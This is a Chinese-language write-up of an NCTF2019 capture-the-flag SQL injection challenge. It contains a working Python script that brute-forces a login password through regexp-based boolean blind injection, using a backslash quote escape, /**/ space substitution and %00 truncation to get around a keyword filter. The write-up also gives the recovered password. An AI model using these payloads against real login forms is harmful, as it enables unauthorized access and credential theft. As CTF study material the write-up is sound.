来源:NCTF2019
参考:https://guokeya.github.io/post/nctf2019sqliregexp-zhu/
首先进入页面,是一个登录框
fuzz一下,发现绝大多数的关键字都过滤了
此处还可以访问robots.txt,进而访问hint.txt,得到过滤黑名单
根据wp,regexp没过滤,故可构造基于regexp的报错注入语句
import requests
import time
from urllib import parse
import string
url="http://ee06d8fc-6daa-4c18-ba05-ac4293161510.node3.buuoj.cn/index.php"
string = string.ascii_letters+'_'+string.digits
text = "welcome.php"
ans = ""
for i in range(1, 100):
# print("debug")
low = 32
high = 128
flag = False
# for j in range(low, high):
for j in string:
# print(c)
# time.sleep(0.5)
str_temp = ans + j
post_data ={
"username": "\\",
"passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(str_temp,parse.unquote('%00'))
}
response = requests.post(url, data = post_data)
# print(response.text)
if text in response.text:
# print(response.text)
ans = str_temp
flag = True
print(ans)
break
if flag == False:
break
解释
其中,关键语句为
"username": "\\",
"passwd": '||/**/passwd/**/regexp/**/"^{}";{}'.format(str_temp,parse.unquote('%00'))
因为对单引号进行了过滤,所以username处添加\,将其后的单引号过滤。且考虑到转译的原因,为"\"
而passwd用到了三个知识点,一个是sql的内联注释/**/可以代替空格,一个是regexp的布尔盲注,一个是php中%00的截断(此处python的时候不能直接传入,会被解码为空)
select user() regexp '^r' # 从user()中判断是否有以r字母开头的值,有的话返回1
还有一点需要注意的是,字符只能从_、数字、大小写字母中选取,要是直接以ascii码选取,会选到*,然后报错
得到密码
you_will_never_Know7788990
将其转换为小写(我也不知道为什么),提交后得到flag